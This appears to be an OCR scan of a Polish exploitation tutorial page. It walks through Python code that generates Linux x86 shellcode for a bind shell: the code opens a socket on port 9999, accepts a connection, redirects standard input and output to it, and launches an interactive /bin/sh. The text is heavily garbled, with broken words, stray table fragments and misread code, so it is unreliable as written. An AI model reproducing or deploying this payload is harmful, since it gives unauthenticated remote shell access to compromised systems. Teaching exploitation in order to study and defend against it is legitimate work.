kod w Pythonie:
3zelkod:
egg=Inli neEgg(Linuxx8 6S yscal1) Stwórz szelkod
START
sock=egg.Socket (socket.AF_INET Socket.SOCK_STREAM) ,
Stwórz kod tworzący gniazdo. W zmiennej sock zapamiętaj nazwę rejestru, wr którym umieszczony zostanie uchwyt gnłazda (czyli rejestru ieax)r-
stos:
sock=egg.save(sock) | |
Stwórz kod odkładający na Stos |
wartość |
przechowywaną w rejestrze, któ |
pgo _ |
nazwa znajduje się w zmiennej d |
ock. |
Miejsce na stosie, gdzie umies^c |
.zona |
będzie ta wartość,zapamiętaj/ | |
w zmiennej sock,-- | |
1 | |
egg.bind(sock, ('0.0.0.0', |
9999)) |
/
Stwórz kod podłączający gniazdo (którego uchwyt przechowywany jest na stosie pod adresem zapisanym w zmiennej sock) do portu 9999.
zmienna
soc^k —J—-
uchwyt
gniazda
Stwórz gnia odłóż do rej |
zdo^ychwyt estru %eax. |
r | |
Odłóż na^tos zawartość rejestru %eax (czyli uchwyt gniazda). |
egg.listen(sock, 1)
Stwórz kod rozpoczynający nasłuchiwanie na gnieździe, którego uchwyt przechowywany jest pod adresem zapisanym w zmiennej sock.
Podłącz gniazdo (którego uchwyt przechowujemy na stosie) do portu 9999. | |
f | |
Rozpocznij nasłuchiwanie na gnieździe, którego uchwyt przechowujemy na stosie. | |
r |
client=egg.accept(sock, 0, 0)
Stwórz kod czekający na podłączenie się klienta i tworzący, na potrzeby tego połączenia, nowe gniazdo. Nazwę rejestru, w którym zwrócony będzie uchwyt gniazda zapamiętaj w zmiennej Client,--
client=egg.save(Client)
Stwórz kod odkładający na stos wartość przechowywaną w rejestrze, którego nazwa zapisana jest w zmiennej clicntT Adres, pod którym zachowana będzie na stosie ta wartość, zachowaj w zmiennej Client
egg.close(sock)
Stwórz kod zamykający gniazdo, którego uchwyt leży na stosie pod adresem przechowywanym w zmiennej Client.
egg.dupż(Client, 0) egg.dupż(Client, 1) egg.dupż(Client, 2)
Stwórz kod podłączający standardowe wejście, wyjście i wyjście błędów do gniazda, którego uchwyt znajduje się pod adresem przechowywanym w zmiennej Client.
Podłącz standardowe wejście, wyjście i wyjście błędów do gniazda, którego uchwyt przechowujemy na stosie.
Czekaj na podłączenie się klienta i stwórz, na potrzeby tego połączenia, nowe gniazdo. Uchwyt gnuSUa-zwócony będzie w rejestrze %eax.
' |
f |
Uruchom powłokę. |
egg.execve('/bin/sh', ('sh','-i')) Stwórz kod uruchamiający powłokę.